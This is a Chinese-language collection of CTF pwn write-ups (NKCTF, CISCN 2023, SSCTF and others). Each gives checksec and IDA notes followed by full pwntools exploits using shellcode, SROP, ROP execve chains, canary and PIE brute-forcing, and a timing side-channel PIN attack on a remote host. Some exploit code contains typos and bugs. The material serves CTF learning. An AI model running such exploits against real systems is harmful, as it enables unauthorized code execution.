Pwn题目记录

【NKCTF】

弱小可怜无助的唯一。
(1)checkesec 发现为64位 只有NX保护
image-20230530231132244

(2)进IDA分析

F5查看main函数

查看偏移为0x74(buf[108]+8[ebp大小]) buf2大小随机 无后门函数 此时联想到使用pwntools生成可利用的shellcode v6随机执行但未设置随机数种子【注释打漏了😜】

image-20230530234339502
exp:

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
p = process('./pwn')
#p = remote('127.0.0.1', 1337)
buf = b'\x90' * 108
shellcode = asm(shellcraft.amd64.sh())
payload = buf + b'\x90'*(104-len(shellcode)) +shellcode
log.success("shellcode_len : " + hex(len(shellcode)))
p.sendline(payload)
p.interactive()
    

选择用\x90(nop)进行填充使得攻击代码更具稳定性
104减去shellcode长度的b’\x90’字节,这个部分作用是将shellcode挪到最后(shellcode可能在中间生成),如果没有nopsled的填充,后面的数据会覆盖前面的shellcode,从而导致攻击失败。也就是说,这部分的填充是为了让Shellcode不会被后面的数据覆盖。

image-20230531002410442

统统通

ez_stack

(1)checksec
image-20230531150721336

发现NX打开 准备进IDA找溢出

(2)进IDA
image-20230531150942976

image-20230531151017632

​ 发现溢出部分 无”/bin/sh” 需要我们构造rop链自行写入
​ 常规思路就是第一次rop往bss上写/bin/sh,然后第二次调用execve
​ 但程序本身没有本地直接调用函数->通过syscall来得到shell
image-20230531170223533

查看发现为SROP 在.data段找到可写入/bin/sh的地址

image-20230531160459228

执行完 read 的系统调用,此时 rax == 0 利用SROP 【只用于可写方法内】
image-20230531171529997

exp:

from pwn import *
p = process('./stack')
#p = remote('node2.yuzhian.com.cn',35543)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./stack')
libc = elf.libc

def debug():
    gdb.attach(p)
    pause()

syscall = 0x4011ee
mov_rax_15 = 0x401146
bin_sh = 0x404040

#call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

#debug()
payload = 'a'*(0x10 + 0x8)
payload += p64(0x4011C8)
payload += p64(0)
payload += p64(mov_rax_15)
payload += p64(syscall)
payload += str(sigframe)
sleep(0.1)
p.sendlineafter('F!\n',payload)

#debug()
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(0.1)
p.sendline('\x00')
p.interactive()

SROP小赠品(https://www.cnblogs.com/bpcat/p/16879300.html)

【2023CISCN】

shaokao

(1)虚拟机checksec一下

0

(2)运行一下程序玩玩

1

发现没碰到特别之处
(3)转战IDA
2

查看mian函数发现隐藏目录5 跟踪看看
3

发现strcpy 猜测v1进行了溢出

再往下翻翻4

syscall 以及sys_exit 明显的系统调用号

到data段查找可写入口5

搜索sys 发现-result 猜测负数(-10000)打开目录5

8(4)利用ROPgadget 构造所需execve系统调用exp616

(5)构造对应exp

from pwn import *
from struct import pack

r=process('./shaokao')
#r=remote('39.106.71.184',23931)
r.sendlineafter(">",b"1")
r.sendlineafter("",b"1")
r.sendlineafter("?\n",b"-10000")
r.sendlineafter(">",b"4")
r.sendlineafter(">",b"5")

p = b'a'*(0x28)

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret _1
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) 
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret _59
p += pack('<Q', 0x0000000000402404) # syscall

r.sendlineafter("烧烤摊儿已归你所有,请赐名:",p)
r.interactive()

image-20230527201915278

优化后的exp

from pwn import *
from struct import pack
r=process('./shaokao')
#r=remote('39.106.71.184',23931)
r.sendlineafter(">",b"1")
r.sendlineafter("",b"1")
r.sendlineafter("?\n",b"-10000")
r.sendlineafter(">",b"4")
r.sendlineafter(">",b"5")

padding = b'a' * 0x28
pop_rsi_ret = pack('<Q', 0x000000000040a67e) 
pop_rax_ret = pack('<Q', 0x0000000000458827)
mov_rax_ptr_rsi_ret = pack('<Q', 0x000000000045af95)
xor_rax_ret = pack('<Q', 0x0000000000447339)
pop_rdi_ret = pack('<Q', 0x000000000040264f)
pop_rdx_rbx_ret = pack('<Q', 0x00000000004a404b)

p = padding
p += pop_rsi_ret + pack('<Q', 0x00000000004e60e0)   # @ .data
p += pop_rax_ret + b'/bin//sh'
p += mov_rax_ptr_rsi_ret
p += pop_rsi_ret + pack('<Q', 0x00000000004e60e8)   # @ .data + 8
p += xor_rax_ret
p += mov_rax_ptr_rsi_ret
p += pop_rdi_ret + pack('<Q', 0x00000000004e60e0)   # @ .data
p += pop_rsi_ret + pack('<Q', 0x00000000004e60e8)   # @ .data + 8
p += pop_rdx_rbx_ret + pack('<Q', 0) + pack('<Q', 0)
p += xor_rax_ret
add_rip_ret = pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
rop_len = 59
rop_chain = [add_rip_ret] * rop_len#构建一个rop_len 完成execve
p += b''.join(rop_chain)#将列表转换为字符串进行填充
p += pack('<Q', 0x0000000000402404) # syscall

r.sendlineafter("烧烤摊儿已归你所有,请赐名:",p)
r.interactive()

【funcannary】

涨知识涨知识 没学够的菜狗😀
(1)先运行一下 pei’d配套checksec
image-20230530002528552
根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点

​ ​image-20230530002620435

​ 发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过)
​ 对应随机化 后续在IDA中只能利用其地址计算偏移

(2)进IDA

image-20230530002919532

fork接口 == canary爆破(多线程)

image-20230530154247901

发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary

image-20230530154947024

明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆canary地址的下一位)

image-20230530155540402

函数入口为0x122D shell返回地址为1329 偏移为0xfc 覆盖的buf大小为0x62

tips
【1】canary大小为0x00-0xff 所以爆破时每字节需循环257次 又因为canary低三位定为\x00(32位爆破循环3次 64位循环7次)此处需循环7次
【2】程序入口点一般都是整数,即地址最低位为00,也就是这里的地址,0x29是可信的。就只要爆破后一位就OK,再后面的地址都相同,爆不爆都一样。

exp:

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

p = process("./fun")
#p = remote("39.106.65.236", "30687")
p.recvuntil(b'welcome\n') 
canary = b'\x00'
#canary
for k in range(7):
  info(f'No:{K+1}start,finding...')
  for i in range(256):
     p.send(b'a'*(0x70-8)+cannary+btyes([i]))
     recv = p.recvuntil(b'welcome\n')
     if b"have fun" in recv:
      cannary += bytes([i])
      success(f"canary => {canary.hex()}")
      break
      
#return address
re_1 = 0x29
re_2 = 0
info('finding:re_2 ...')
for re_i in range(0x100):
  payload = b'a' * 0x68 + canary + b'A' * 8 + p8(re_1) + p8(re_i)
#p8()将给定的整数转换为单字节的字节串
  p.send(payload)
  recv = p.recvuntil(b"welcome\n")
  if b"have fun" in recv:
       re_2 = re_i
       success(f"re_2 => {hex(re_2)}")
       break
payload = b'a' * (0x70-8) + canary + b'A' * 8 + p8(re_1 - 1) + p8(re_2 - 1)#-1对齐栈
p.send(payload)
p.interactive()

本地getimage-20230530213510778

login
无附件 只打远程 涨知识捏 侧信道攻击

exp:

from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def ru(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def getpin(pin):
    subtime = -1
    res =''
    for c in a:
        pin_o = pin+c+'0'*(7-len(pin))
        sum=0
        for _ in range(10):
            ru('>')
            sl(b'3')
            ru(b"PIN code: ")
            start=time.time()
            sl(pin_o)
            rev=ru(b'\n')
            if b"Wrong PIN code" in rev:
                pass
            else:
                print(pin_0)
                break
            end=time.time()
            sum+=(end-start)
        print(cur,sum)
        avgtime=sum
        if(avgtime>subtime):
            subtime=avgtime
            res=c
    return res
a='0123456789'
p= remote("123.56.238.150",45118)
pin=''
for i in range(8):
    pin+=getpin(pin)
    print("PIN:",pin)
ru(b'>')
sl(b'2')
ru(b'PASSWD')
sl(b"123456")
ru(b'$')
sl(b"cat flag")
p.interactive()
#flag{d39a1013-e066-4d64-8558-4a5855fb7303}   pin code : 54730891
            

【SSCTF】

pwn_stack
(1)checksec

image-20230604234931863

​ 只开了NX好办捏😀
(2) 进IDA
image-20230604235352214

很明显的函数提示 先看看主函数
image-20230604235530821

image-20230604235541815

buf溢出但被打印出 可忽视(此处知识点较为模糊 还需进一步进行研究解读)v1处溢出
查看偏移位0x98 再回到shell函数
image-20230605000024030

没什么好说直接开整 典型ret2text
exp:

from pwn import *
p = process("./1")#太懒了给文件名改名了😜
bin_sh = 0x0400831 
sys_addr = 0x40083D

#p.recvuntil("What's your name?")

payload =b'A'* (0x90 + 8) + p64(bin_sh)  + p64(sys_addr)
#p.recvuntil('\n')

p.sendline('yub')
p.recvuntil("How old are you?")
p.sendline(payload)

p.interactive()

从函数头返回注意栈对齐问题 +1跳过push rbp的8字节对齐

【Black Rop】

(1)checksec
image-20230629171541372

(2)IDA
image-20230629171837565image-20230629171906502

常规溢出捏~
系统没给出system和”/bin/sh” 所以构造rop

from pwn import *

p = process('./rop')
 
pop4 = 0x080493e8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop1 = 0x0804901e # pop ebx ; ret
pop2 = 0x080493ea # pop edi ; pop ebp ; ret
pop3 = 0x080493e9 # pop esi ; pop edi ; pop ebp ; ret

 
payload = b'A'*0x12+ flat(0,0x80492ce,0x8049293, pop1, 0x804a033, 0x80492e8, pop1, 0xbae, 0x804930b, pop2, 0x62023 , 0xBF1212, 0x80491c2)
p.sendlineafter(b"check your identity and read the flag.\n", payload)
p.recvline()
p.interactive()